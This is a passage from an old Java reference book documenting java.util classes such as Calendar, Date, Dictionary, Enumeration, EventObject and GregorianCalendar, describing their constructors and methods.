This method clears the values of all of the time fields of this Calendar.

public final void clear(int field)

Parameters

field

The time field to be cleared.

Description

This method clears the specified time field by setting its value to 0.

clone

public Object clone()

Returns

A copy of this Calendar.

Overrides

Object.clone()

Description

This method creates a copy of this Calendar and returns it. In other words, the returned Calendar has the same time field values and raw time value as this Calendar.

equals

public abstract boolean equals(Object when)

Parameters

when

The object to be compared with this object.

Returns

true if the objects are equal; false if they are not.

Overrides

Object.equals()

Description

This method returns true if when is an instance of Calendar and it contains the same value as the object this method is associated with.

get

public final int get(int field)

Parameters

field

The time field to be retrieved.

Returns

The value of the given time field.

Description

This method returns the value of the specified time field. If the fields of this Calendar have not been set, they are set from the raw time value before the requested field is returned.

getFirstDayOfWeek

public int getFirstDayOfWeek()

Returns

The first day of the week for this Calendar.

Description

This method returns the day that is considered the beginning of the week for this Calendar. This value is determined by the Locale of this Calendar. For example, the first day of the week in the United States is Sunday, while in France it is Monday.

getGreatestMinimum

public abstract int getGreatestMinimum(int field)

Parameters

field

A time field constant.

Returns

The highest minimum value for the given time field.

Description

This method returns the highest minimum value for the given time field, if the field has a range of minimum values. If the field does not have a range of minimum values, this method is equivalent to getMinimum().

getLeastMaximum

public abstract int getLeastMaximum(int field)

Parameters

field

A time field constant.

Returns

The lowest maximum value for the given time field.

Description

This method returns the lowest maximum value for the given time field, if the field has a range of maximum values. If the field does not have a range of maximum values, this method is equivalent to getMaximum(). For example, for a GregorianCalendar, the lowest maximum value of DATE_OF_MONTH is 28.

getMaximum

public abstract int getMaximum(int field)

Parameters

field

A time field constant.

Returns

The maximum value for the given time field.

Description

This method returns the maximum value for the given time field. For example, for a GregorianCalendar, the maximum value of DATE_OF_MONTH is 31.

getMinimalDaysInFirstWeek

public int getMinimalDaysInFirstWeek()

Returns

The number of days that must be in the first week of the year.

Description

This method returns the number of days that must be in the first week of the year. For example, a value of 7 indicates that the first week of the year must be a full week, while a value of 1 indicates that the first week of the year can contain a single day. This value is determined by the Locale of this Calendar.

getMinimum

public abstract int getMinimum(int field)

Parameters

field

A time field constant.

Returns

The minimum value for the given time field.

Description

This method returns the minimum value for the given time field. For example, for a GregorianCalendar, the minimum value of DATE_OF_MONTH is 1.

getTime

public final Date getTime()

Returns

A Date object that represents the point in time represented by this Calendar.

Description

This method returns a newly created Date object that is constructed from the value returned by getTimeInMillis().

getTimeZone

public TimeZone getTimeZone()

Returns

The TimeZone of this Calendar.

Description

This method returns the TimeZone object for this Calendar.

isLenient

public boolean isLenient()

Returns

A boolean value that indicates the leniency of this Calendar.

Description

This method returns the current leniency of this Calendar. A value of false indicates that the Calendar throws exceptions when questionable data is passed to it, while a value of true indicates that the Calendar makes its best guess to interpret questionable data. For example, if the Calendar is being lenient, a date such as March 135, 1997 is interpreted as the 134th day after March 1, 1997.

isSet

public final boolean isSet(int field)

Parameters

field

A time field constant.

Returns

true if the time field has been set; false otherwise.

Description

This method returns a boolean value that indicates whether or not the specified time field has been set.

roll

public abstract void roll(int field, boolean up)

Parameters

field

The time field to be adjusted.

up

A boolean value that indicates if the given field should be incremented.

Description

This method adds or subtracts one time unit from the given time field. For example, to increase the current date by one day, you can call roll(Calendar.DATE, true).

The method maintains the field being rolled within its valid range. For example, in a calendar system that uses hours and minutes to measure time, rolling the minutes up from 59 sets that field to 0. By the same token, rolling that field down from 0 sets it to 59.

The roll() method does not adjust the value of any other field than the one specified by its field argument. In particular, for calendar systems that have months with different numbers of days, it may be necessary to adjust the month and also year when the day of the month is rolled up. It is the responsibility of the caller of roll() to perform that adjustment.

set

public final void set(int field, int value)

Parameters

field

The time field to be set.

value

The new value.

Description

This method sets the value of the specified time field.

public final void set(int year, int month, int date)

Parameters

year

The value for the year field.

month

The value for the month field, where 0 represents the first month.

date

The value for the day-of-the-month field.

Description

This method sets the values of the year, month, and day-of-the-month fields of this Calendar.

 public final void set(int year, int month, int date, int hour, int minute)

Parameters

year

The value for the year field.

month

The value for the month field, where 0 represents the first month.

date

The value for the day-of-the-month field.

hour

The value for the hour field.

minute

The value for the minute field.

Description

This method sets the values of the year, month, day-of-the-month, hour, and minute fields of this Calendar.

 public final void set(int year, int month, int date, int hour, int minute, int second)

Parameters

year

The value for the year field.

month

The value for the month field, where 0 represents the first month.

date

The value for the day-of-the-month field.

hour

The value for the hour field.

minute

The value for the minute field.

second

The value for the second field.

Description

This method sets the values of the year, month, day-of-the-month, hour, minute, and second fields of this Calendar.

setFirstDayOfWeek

public void setFirstDayofWeek(int value)

Parameters

value

The value for the first day of the week.

Description

This method sets the day that is considered the beginning of the week for this Calendar. This value should be determined by the Locale of this Calendar. For example, the first day of the week in the United States is Sunday; in France it's Monday.

setLenient

public void setLenient(boolean lenient)

Parameters

lenient

A boolean value that specifies the leniency of this Calendar.

Description

This method sets the leniency of this Calendar. A value of false specifies that the Calendar throws exceptions when questionable data is passed to it, while a value of true indicates that the Calendar makes its best guess to interpret questionable data. For example, if the Calendar is being lenient, a date such as March 135, 1997 is interpreted as the 135th day after March 1, 1997.

setMinimalDaysInFirstWeek

public void setMinimalDaysInFirstWeek(int value)

Parameters

value

The value for the minimum number of days in the first week of the year.

Description

This method sets the minimum number of days in the first week of the year. For example, a value of 7 indicates the first week of the year must be a full week, while a value of 1 indicates the first week of the year can contain a single day. This value should be determined by the Locale of this Calendar.

setTime

public final void setTime(Date date)

Parameters

date

A Date object that represents the new time value.

Description

This method sets the point in time that is represented by this Calendar.

setTimeZone

public void setTimeZone(TimeZone value)

Parameters

value

A TimeZone object that represents the new time zone.

Description

This method is used to set the time zone of this Calendar.

Protected Instance Methods

complete

protected void complete()

Description

This method fills out the fields of this Calendar as much as possible by calling computeTime() and computeFields().

computeFields

protected abstract void computeFields()

Description

This method calculates the time fields of this Calendar from its raw time value.

computeTime

protected abstract void computeTime()

Description

This method calculates the raw time value of this Calendar from its time field values.

getTimeInMillis

protected long getTimeInMillis()

Returns

The raw time value of this Calendar.

Description

This method returns the raw time value of this Calendar. The value is measured as the number of milliseconds since midnight, January 1, 1970 GMT.

internalGet

protected final int internalGet(int field)

Parameters

field

A time field constant.

Returns

The value of the given time field.

Description

This method returns the value of the specified time field without first checking to see if it needs to be computed from the raw time value.

setTimeInMillis

protected void setTimeInMillis(long millis)

Parameters

millis

The new raw time value for this Calendar.

Description

This method sets the raw time value of this Calendar. The value is measured as the number of milliseconds since midnight, January 1, 1970 GMT.

Inherited Methods

Method | Inherited From | Method | Inherited From
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Cloneable, Date, DateFormat, GregorianCalendar, Locale, Serializable, TimeZone

Previous | Home | Next
BitSet | Book Index | Date
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 17] Date

Java Fundamental Classes Reference

Previous Chapter 17
The java.util Package 		Next

Date

Name

Date

Synopsis

Class Name:

java.util.Date

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

java.lang.Cloneable, java.io.Serializable

Availability:

JDK 1.0 or later

Description

The Date class encapsulates a point in time with millisecond precision. The value of a Date is represented internally by a long value that contains the number of milliseconds since midnight, January 1, 1970 GMT.

Prior to JDK 1.1, the Date class was used for two purposes that are now encapsulated by other classes. First, the Date class included methods for calculating calendar values, like months and days of the week. This functionality is now embedded in the Calendar class. Second, the Date class included methods for generating and parsing a string representation of a date. This functionality is now provided by java.text.DateFormat. Thus, as of JDK 1.1, most of the methods of Date are deprecated; the class is used only to represent a point in time.

The accurate measurement of time is a subject of considerable complexity and multifarious acronyms. There are two main methods of measuring time, atomic and astronomical. The U.S. Naval Observatory (http://tycho.usno.navy.mil) maintains a set of atomic clocks that provide the basis for Coordinated Universal Time (UTC). These clocks adhere to precise definitions of the second based on atomic decay.

Outside of the U.S. Navy, people tend to measure time in terms of Greenwich Mean Time (GMT). In the scientific community, GMT is called UT, which is a system of time predicated on the assumption that each rotation of the earth is exactly 24 * 60 * 60 seconds long. Because the earth's rotation is gradually slowing down, the seconds in UT are a little bit longer than the seconds in UTC. Now and then a "leap second" is added in UTC to keep it close to UT. Because the Date class simply measures milliseconds since a point in time, without regard for leap seconds, it is a good representation of UT or GMT.

Class Summary

public class java.util.Date extends java.lang.Object
             implements java.lang.Cloneable, java.io.Serializable {
  // Constructors
  public Date();
  public Date(long date);
  public Date(int year, int month, int date);       // Deprecated in 1.1
  public Date(int year, int month, int date,
              int hrs, int min);                    // Deprecated in 1.1
  public Date(int year, int month, int date,
              int hrs, int min, int sec);           // Deprecated in 1.1
  public Date(String s);                            // Deprecated in 1.1
  // Class Methods
  public static long parse(String s);               // Deprecated in 1.1
  public static long UTC(int year, int month,
                         int date, int hrs,
                         int min, int sec);         // Deprecated in 1.1
  // Instance Methods
  public boolean after(Date when);
  public boolean before(Date when);
  public boolean equals(Object obj);
  public int getDate();                             // Deprecated in 1.1
  public int getDay();                              // Deprecated in 1.1
  public int getHours();                            // Deprecated in 1.1
  public int getMinutes();                          // Deprecated in 1.1
  public int getMonth();                            // Deprecated in 1.1
  public int getSeconds();                          // Deprecated in 1.1
  public long getTime();
  public int getTimezoneOffset();                   // Deprecated in 1.1
  public int getYear();                             // Deprecated in 1.1
  public int hashCode();
  public void setDate(int date);                    // Deprecated in 1.1
  public void setHours(int hours);                  // Deprecated in 1.1
  public void setMinutes(int minutes);              // Deprecated in 1.1
  public void setMonth(int month);                  // Deprecated in 1.1
  public void setSeconds(int seconds);              // Deprecated in 1.1
  public void setTime(long time);
  public void setYear(int year);                    // Deprecated in 1.1
  public String toGMTString();                      // Deprecated in 1.1
  public String toLocaleString();                   // Deprecated in 1.1
  public String toString();
}

Constructors

Date

public Date()

Description

This constructor creates a Date object that is initialized to the current time.

public Date(long date)

Parameters

date

A time value, measured as the number of milliseconds since midnight, January 1, 1970 GMT.

Description

This constructor creates a Date object that represents the given time.

public Date(int year, int month, int day)

Availability

Deprecated as of JDK 1.1

Parameters

year

The year specified as a value that is added to 1900 to get the actual year.

month

The month specified in the range 0 to 11.

day

The day of the month specified in the range 1 to 31.

Description

This constructor creates a Date that represents midnight local time on the specified date.

public Date(int year, int month, int day, int hrs, int min)

Availability

Deprecated as of JDK 1.1

Parameters

year

The year specified as a value that is added to 1900 to get the actual year.

month

The month specified in the range 0 to 11.

day

The day of the month specified in the range 1 to 31.

hrs

The hours specified in the range 0 to 23.

min

The minutes specified in the range 0 to 59.

Description

This constructor creates a Date that represents the given date and time.

 public Date(int year, int month, int day, int hrs, int min, int sec)

Availability

Deprecated as of JDK 1.1

Parameters

year

The year specified as a value that is added to 1900 to get the actual year.

month

The month specified in the range 0 to 11.

day

The day of the month specified in the range 1 to 31.

hrs

The hours specified in the range 0 to 23.

min

The minutes specified in the range 0 to 59.

sec

The seconds specified in the range 0 to 59.

Description

This constructor creates a Date that represents the given date and time.

public Date(String s)

Availability

Deprecated as of JDK 1.1

Parameters

s

The string to parse.

Description

This constructor creates a Date that represents the date and time specified by the given string. The syntax of the date in the string must satisfy the requirements of the parse() method. The following is an example of a string that this constructor can understand:

Sat, 8 Feb 1997 13:30:00 GMT

Class Methods

parse

public static long parse(String s)

Availability

Deprecated as of JDK 1.1

Parameters

s

The string to parse.

Returns

A time value represented as the number of milliseconds since midnight, January 1, 1970 GMT.

Throws

IllegalArgumentException

If the string cannot be parsed.

Description

This method returns the raw time value specified by the given string. This method understands a number of different formats. The following are examples of strings that this method can understand:

Sat, 8 Feb 1997 13:30:00 GMT
4/6/97
4/6/1997
January 5, 1997
2/4/97 11:03 AM
2/4/97 10:25 PM
2/4/97 17:03 GMT-6
2/4/97 17:03:24
March 16, 97 17:03 EST
March (comment)16, 97 (comment) 17:03 EST
16 march 1996 17:03 pdt
Sat 16 march 97 17:03 cst

The JDK 1.0.2 implementation of parse() has a serious bug. It incorrectly interprets date formats that specify the month as a number by making the month one greater than it should be. So 2/4/97 is incorrectly interpreted as March 4, 1997.

For the purposes of this method, UTC and GMT are considered equivalent.

UTC

 public static long UTC(int year, int month, int date, int hrs, int min, int sec)

Availability

Deprecated as of JDK 1.1

Parameters

year

The year specified as a value that is added to 1900 to get the actual year.

month

The month specified in the range 0 to 11.

day

The day of the month specified in the range 1 to 31.

hrs

The hours specified in the range 0 to 23.

min

The minutes specified in the range 0 to 59.

sec

The seconds specified in the range 0 to 59.

Returns

A time value represented as the number of milliseconds since midnight, January 1, 1970 GMT.

Description

This method returns a raw time value that corresponds to the given parameters. Computations are based on GMT, not the local time zone.

Instance Methods

after

public boolean after(Date when)

Parameters

when

The object to compare to this Date.

Returns

true if this object is after when; false otherwise.

Description

This method returns true if the value of when falls before the value of this Date.

before

public boolean before(Date when)

Parameters

when

The object to compare to this Date.

Returns

true if this object is before when; false otherwise.

Description

This method returns true if the value of when falls after the value of this Date.

equals

public boolean equals(Object obj)

Parameters

obj

The object to be compared with this object.

Returns

true if the objects are equal; false if they are not.

Overrides

Object.equals()

Description

This method returns true if when is an instance of Date and it contains the same value as the object this method is associated with. In other words, the two Date objects are equal only if they both represent the same point in time, to the millisecond.

getDate

public int getDate()

Availability

Deprecated as of JDK 1.1

Returns

The day of the month of this Date.

Description

This method returns the day of the month represented by this Date object. The value is in the range 1 to 31.

getDay

public int getDay()

Availability

Deprecated as of JDK 1.1

Returns

The day of the week of this Date.

Description

This method returns the day of the week represented by this Date object. The value is in the range 0 to 6, where 0 means Sunday.

getHours

public int getHours()

Availability

Deprecated as of JDK 1.1

Returns

The hour value of this Date.

Description

This method returns the hour represented by this Date object. The value is in the range 0 to 23, where 0 means midnight.

getMinutes

public int getMinutes()

Availability

Deprecated as of JDK 1.1

Returns

The minute value of this Date.

Description

This method returns the number of minutes after the hour represented by this Date object. The value is in the range 0 to 59.

getMonth

public int getMonth()

Availability

Deprecated as of JDK 1.1

Returns

The month of this Date.

Description

This method returns the month represented by this Date object. The value is in the range 0 to 11, where 0 means January.

getSeconds

public int getSeconds()

Availability

Deprecated as of JDK 1.1

Returns

The second value of this Date.

Description

This method returns the number of seconds after the minute represented by this Date object. The value is in the range 0 to 59.

getTime

public long getTime()

Returns

The raw time value of this Date.

Description

This method returns the date and time of this Date as the number of milliseconds since midnight, January 1, 1970 GMT.

getTimezoneOffset

public int getTimezoneOffset()

Availability

Deprecated as of JDK 1.1

Returns

The time zone offset for this Date.

Description

This method returns the number of minutes between the local time zone and GMT for this Date object.

getYear

public int getYear()

Availability

Deprecated as of JDK 1.1

Returns

The year of this Date.

Description

This method returns the year represented by this Date object. The value is the number of years since 1990.

hashCode

public int hashCode()

Returns

The hashcode for this Date.

Overrides

Object.hashCode()

Description

This method returns a hashcode for this object.

setDate

public void setDate(int date)

Availability

Deprecated as of JDK 1.1

Parameters

date

The day of the month specified in the range 1 to 31.

Description

This method sets the day of the month of this Date object.

setHours

public void setHours(int hours)

Availability

Deprecated as of JDK 1.1

Parameters

hours

The hours specified in the range 0 to 23.

Description

This method sets the hour of this Date object.

setMinutes

public void setMinutes(int minutes)

Availability

Deprecated as of JDK 1.1

Parameters

minutes

The minutes specified in the range 0 to 59.

Description

This method sets the minute value of this Date object.

setMonth

public void setMonth(int month)

Availability

Deprecated as of JDK 1.1

Parameters

month

The month specified in the range 0 to 11.

Description

This method sets the month of this Date object

setSeconds

public void setSeconds(int seconds)

Availability

Deprecated as of JDK 1.1

Parameters

seconds

The seconds specified in the range 0 to 59.

Description

This method sets the second value of this Date object.

setTime

public void setTime(long time)

Parameters

time

A time value specified as the number of milliseconds since midnight, January 1, 1970 GMT.

Description

This method sets the date and time represented by this Date to the given raw time value.

setYear

public void setYear(int year)

Availability

Deprecated as of JDK 1.1

Parameters

year

The year specified as a value that is added to 1900 to get the actual year.

Description

This method sets the year of this Date object.

toGMTString

public String toGMTString()

Availability

Deprecated as of JDK 1.1

Returns

A string that represents this Date.

Description

The method returns a string representation of this Date object based on Internet GMT conventions. The string is of the form:

Sat, 8 Feb 1997 13:30:00 GMT

The date is the string is either one or two digits; the rest of the fields always have the width shown. The time zone is always GMT.

toLocaleString

public String toLocaleString()

Availability

Deprecated as of JDK 1.1

Returns

A string that represents this Date.

Description

The method returns a string representation of this Date based on the conventions of the current locale.

toString

public String toString()

Returns

A string that represents this Date.

Overrides

Object.toString()

Description

This method returns a string representation of this Date. The string is of the form:

Sat Feb 8 2:30:00 MST 1997

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | finalize() | Object
getClass() | Object | notify() | Object
notifyAll() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

Calendar, Cloneable, DateFormat, GregorianCalendar, IllegalArgumentException, Serializable, TimeZone

Previous | Home | Next
Calendar | Book Index | Dictionary
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 17] Dictionary

Java Fundamental Classes Reference

Previous Chapter 17
The java.util Package 		Next

Dictionary

Name

Dictionary

Synopsis

Class Name:

java.util.Dictionary

Superclass:

java.lang.Object

Immediate Subclasses:

java.util.Hashtable

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

The Dictionary class is an abstract class that associates keys with values. Any non-null object can be used as a key or as a value. Key/value pairs can be stored in a Dictionary, and values can be retrieved or removed using their associated keys.

A subclass of Dictionary should use the equals() method to decide if two keys are equivalent.

Class Summary

public abstract class java.util.Dictionary extends java.lang.Object {
  // Instance Methods
  public abstract Enumeration elements();
  public abstract Object get(Object key);
  public abstract boolean isEmpty();
  public abstract Enumeration keys();
  public abstract Object put(Object key, Object value);
  public abstract Object remove(Object key);
  public abstract int size();
}

Instance Methods

elements

public abstract Enumeration elements()

Returns

The values in the dictionary as an Enumeration.

Description

This method returns an Enumeration that iterates through the values in this Dictionary.

get

public abstract Object get(Object key)

Parameters

key

The key of the value to retrieve.

Returns

The value that corresponds to this key.

Description

This method returns the value that is associated with the given key.

isEmpty

public abstract boolean isEmpty()

Returns

true if there are no values in the Dictionary7thinsp;; false otherwise.

Description

This method returns a boolean value that indicates whether or not the Dictionary is empty.

keys

public abstract Enumeration keys()

Returns

The keys in the dictionary as an Enumeration.

Description

This method returns an Enumeration that iterates through the keys in this Dictionary.

put

public abstract Object put(Object key, Object value)

Parameters

key

A key object.

value

A value object.

Returns

The previous value associated with the given key or null if key has not previously been associated with a value.

Throws

NullPointerException

If either the key or the value is null.

Description

This method associates the given key with the given value in this Dictionary.

remove

public abstract Object remove(Object key)

Parameters

key

The key of the value to remove.

Returns

The value associated with the given key or null if key is not associated with a value.

Description

This method removes a key/value pair from this Dictionary. If the given key is not in the Dictionary, the method does nothing.

size

public abstract int size()

Returns

The number of keys in the Dictionary.

Description

This method returns the number of key/value pairs in this Dictionary.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Enumeration, Hashtable, NullPointerException

Previous | Home | Next
Date | Book Index | EmptyStackException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 17] EmptyStackException

Java Fundamental Classes Reference

Previous Chapter 17
The java.util Package 		Next

EmptyStackException

Name

EmptyStackException

Synopsis

Class Name:

java.util.EmptyStackException

Superclass:

java.lang.RuntimeException

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

An EmptyStackException is thrown by methods of the Stack class when an operation cannot be completed because the stack is empty.

Class Summary

public class java.util.EmptyStackException
             extends java.lang.RuntimeException {
  // Constructors
  public EmptyStackException();
}

Constructors

EmptyStackException

public EmptyStackException()

Description

This constructor creates an EmptyStackException with no associated detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Throwable
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Exception, RuntimeException, Stack

Previous | Home | Next
Dictionary | Book Index | Enumeration
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 17] Enumeration

Java Fundamental Classes Reference

Previous Chapter 17
The java.util Package 		Next

Enumeration

Name

Enumeration

Synopsis

Interface Name:

java.util.Enumeration

Super-interface:

None

Immediate Sub-interfaces:

None

Implemented By:

java.util.StringTokenizer

Availability:

JDK 1.0 or later

Description

An object that implements the Enumeration interface provides a way to access a set of objects sequentially. The Enumeration object hides the actual organization of the set of objects from the code that is using it. An Enumeration can iterate through, or enumerate, its set of objects one at a time. A specific implementation of the interface controls the order in which the objects are presented.

The following is an example of how an Enumeration is used. The example shows a method for printing the values in an Enumeration:

void printAll(Enumeration e) {
    while ( e.hasMoreElements() ) {
        System.out.println(e.nextElement());
    }
}

Note that an Enumeration can be used only once: it iterates through its collection of objects in one direction and cannot be reset or rewound.

Normally, an Enumeration is not instantiated directly, but instead returned by a method that needs to enumerate a set of values. For example, the elements() method of the Vector class returns an Enumeration of the elements in the Vector. By the same token, the elements() and keys() methods of the Hashtable class return Enumeration objects for the keys and values in the Hashtable.

Interface Declaration

public abstract interface java.util.Enumeration {
  // Methods
  public abstract boolean hasMoreElements();
  public abstract Object nextElement() throws NoSuchElementException;
}

Methods

hasMoreElements

public abstract boolean hasMoreElements()

Returns

true if the there are more objects to retrieve; false otherwise.

Description

This method returns true if the nextElement() method of this Enumeration returns an object the next time it is called.

nextElement

public abstract Object nextElement()

Returns

The next object in this Enumeration.

Throws

NoSuchElementException

If there are no more objects to return.

Description

This method returns the next object in the set of objects encapsulated by this Enumeration.

See Also

Hashtable, StringTokenizer, Vector

Previous | Home | Next
EmptyStackException | Book Index | EventListener
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 17] EventListener

Java Fundamental Classes Reference

Previous Chapter 17
The java.util Package 		Next

EventListener

Name

EventListener

Synopsis

Interface Name:

java.util.EventListener

Super-interfaces:

None

Immediate Sub-interfaces:

java.awt.event.ActionListener,

java.awt.event.AdjustmentListener,

java.awt.event.ComponentListener,

java.awt.event.ContainerListener,

java.awt.event.FocusListener,

java.awt.event.ItemListener,

java.awt.event.KeyListener,

java.awt.event.MouseListener,

java.awt.event.MouseMotionListener,

java.awt.event.TextListener,

java.awt.event.WindowListener

Implemented by:

None

Availability:

New as of JDK 1.1

Description

In order for instances of a class to receive events, the class must implement the EventListener interface. It is a semantic interface, meaning that it declares no methods. Classes do not normally implement the EventListener interface directly, but instead implement an interface that extends EventListener.

Prior to Java 1.1, events could only be delivered to AWT components. Java 1.1 introduces a new event model that allows events to be delivered to any object that implements a listener interface and registers to receive events from a particular source.

Interface Declaration

public abstract interface java.util.EventListener {
}

See Also

ActionListener, AdjustmentListener, ComponentListener, ContainerListener, FocusListener, ItemListener, KeyListener, MouseListener, MouseMotionListener, TextListener, WindowListener

Previous | Home | Next
Enumeration | Book Index | EventObject
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 17] EventObject

Java Fundamental Classes Reference

Previous Chapter 17
The java.util Package 		Next

EventObject

Name

EventObject

Synopsis

Class Name:

java.util.EventObject

Superclass:

java.lang.Object

Immediate Subclasses:

java.awt.AWTEvent

Interfaces Implemented:

java.io.Serializable

Availability:

New as of JDK 1.1

Description

The EventObject class is the superclass of all other classes that represent events in the Java 1.1 event model. The class is named EventObject to avoid confusion with java.awt.Event, which was used to represent events in the old Java 1.0 event model.

Class Summary

public class java.util.EventObject extends java.lang.Object
             implements java.io.Serializable {
  // Variables
  protected transient Object source;
  // Constructors
  public EventObject(Object source);
  // Instance Methods
  public Object getSource();
  public String toString();
}

Variables

source

protected transient Object source

Description

The object that generated this EventObject.

Constructors

EventObject

public EventObject(Object source)

Parameters

source

The object that generated this EventObject.

Description

This constructor creates an EventObject whose source is the given object.

Instance Methods

getSource

public Object getSource()

Returns

The object that generated this EventObject.

Description

This method returns the object that is the source of this EventObject.

toString

public String toString()

Returns

A string that represents this EventObject.

Overrides

Object.toString()

Description

This method returns a string representation of this EventObject.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals() | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

AWTEvent, Event, Serializable

Previous | Home | Next
EventListener | Book Index | GregorianCalendar
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 17] GregorianCalendar

Java Fundamental Classes Reference

Previous Chapter 17
The java.util Package 		Next

GregorianCalendar

Name

GregorianCalendar

Synopsis

Class Name:

java.util.GregorianCalendar

Superclass:

java.util.Calendar

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

The GregorianCalendar class is a subclass of the abstract Calendar class. GregorianCalendar provides an implementation of the calendar that much of the world uses. GregorianCalendar has two eras, BC and AD.

GregorianCalendar provides both Gregorian and Julian dates, depending on the date that is represented by the object. The Gregorian calendar was instituted in October 15, 1582, so any dates before this cut-off time are represented as Julian dates. Some countries switched from the Julian and the Gregorian calendar after that date, however. The cutoff date can be changed using the setGregorianChange() method. When using Julian dates, be aware that this class does not account for the fact that the Julian calendar used March 25 as the beginning of the year. You will have to adjust the year on Julian dates that fall between January 1 and March 24.

You can find a fascinating discussion of the history of Western calendars at http://barroom.visionsystems.com/serendipity/date/jul_greg.html.

Class Summary

public class java.util.GregorianCalendar extends java.util.Calendar {
  // Constants
  public final static int AD;
  public final static int BC;
  // Constructors
  public GregorianCalendar();
  public GregorianCalendar(TimeZone zone);
  public GregorianCalendar(Locale aLocale);
  public GregorianCalendar(TimeZone zone, Locale aLocale);
  public GregorianCalendar(int year, int month, int date);
  public GregorianCalendar(int year, int month, int date,
                          int hour, int minute);
  public GregorianCalendar(int year, int month, int date,
                          int hour, int minute, int second);
  // Instance Methods
  public void add(int field, int amount);
  public boolean after(Object when);
  public boolean before(Object when);
  public Object clone();
  public boolean equals(Object obj);
  public int getGreatestMinimum(int field);
  public final Date getGregorianChange();
  public int getLeastMaximum(int field);
  public int getMaximum(int field);
  public int getMinimum(int field);
  public synchronized int hashCode();
  public boolean isLeapYear(int year);
  public void roll(int field, boolean up);
  public void setGregorianChange(Date date);
  // Protected Instance Methods
  protected void computeFields();
  protected void computeTime();
}

Constants

AD

public final static int AD

Description

A constant value that represents the AD era, which stands for anno Domini, Latin for "the year of the Lord". People who do not want to measure years with a Christian connotation call this era CE the Common Era.

BC

public final static int BC

Description

A constant value that represents the BC era, which stands for before Christ, before the birth of Christ. People who do not want to measure years with a Christian connotation call this era BCE, which stands for Before the Common Era.

Constructors

GregorianCalendar

public GregorianCalendar()

Description

This constructor creates a GregorianCalendar that represents the current time using the system's default time zone and locale. The default time zone is that returned by TimeZone.getDefault(). The default locale is that returned by Locale.getDefault().

public GregorianCalendar(TimeZone zone)

Parameters

zone

The TimeZone to use.

Description

This constructor creates a GregorianCalendar that represents the current time using the supplied time zone and the default locale. The default locale is that returned by Locale.getDefault().

public GregorianCalendar(Locale aLocale)

Parameters

aLocale

The Locale to use.

Description

This constructor creates a GregorianCalendar that represents the current time using the supplied locale and the default time zone. The default time zone is that returned by TimeZone.getDefault().

public GregorianCalendar(TimeZone zone, Locale aLocale)

Parameters

zone

The TimeZone to use.

aLocale

The Locale to use.

Description

This constructor creates a GregorianCalendar that represents the current time using the supplied time zone and locale.

public GregorianCalendar(int year, int month, int date)

Parameters

year

The value for the year field.

month

The value for the month field, where 0 represents the first month.

date

The value for the day-of-the-month field.

Description

This constructor creates a GregorianCalendar that represents the given date in the default time zone and locale. The default time zone is that returned by TimeZone.getDefault(). The default locale is that returned by Locale.getDefault().

 public GregorianCalendar(int year, int month, int date, int hour, int minute)

Parameters

year

The value for the year field.

month

The value for the month field, where 0 represents the first month.

date

The value for the day-of-the-month field.

hour

The value for the hour field.

minute

The value for the minute field.

Description

This constructor creates a GregorianCalendar that represents the given date and time in the default time zone and locale. The default time zone is that returned by TimeZone.getDefault(). The default locale is that returned by Locale.getDefault().

 public GregorianCalendar(int year, int month, int date, int hour, int minute, int second)

Parameters

year

The value for the year field.

month

The value for the month field, where 0 represents the first month.

date

The value for the day-of-the-month field.

hour

The value for the hour field.

minute

The value for the minute field.

second

The value for the second field.

Description

This constructor creates a GregorianCalendar that represents the given data and time in the default time zone and locale. The default time zone is that returned by TimeZone.getDefault(). The default locale is that returned by Locale.getDefault().

Instance Methods

add

public void add(int field, int amount)

Parameters

field

The time field to be modified.

amount

The amount to add to the specified field value. This value can be negative.

Throws

IllegalArgumentException

If field is not a valid time field.

Overrides

Calendar.add()

Description

This method adds the given amount to the specified time field. For example, you can compute a date 90 days beyond the current date of this GregorianCalendar by calling add(Calendar.DATE, 90).

after

public boolean after(Object when)

Parameters

when

The object to compare to this GregorianCalendar.

Returns

true if this object is after when; false otherwise.

Overrides

Calendar.after()

Description

This method returns true if when is a GregorianCalendar whose value falls before the value of this GregorianCalendar.

before

public boolean before(Object when)

Parameters

when

The object to compare to this GregorianCalendar.

Returns

true if this object is before when; false otherwise.

Overrides

Calendar.before()

Description

This method returns true if when is a GregorianCalendar whose value falls after the value of this GregorianCalendar.

clone

public Object clone()

Returns

A copy of this GregorianCalendar.

Overrides

Calendar.clone()

Description

This method creates a copy of this GregorianCalendar and returns it. In other words, the returned GregorianCalendar has the same time field values and raw time value as this GregorianCalendar.

equals

public boolean equals(Object when)

Parameters

when

The object to be compared with this object.

Returns

true if the objects are equal; false if they are not.

Overrides

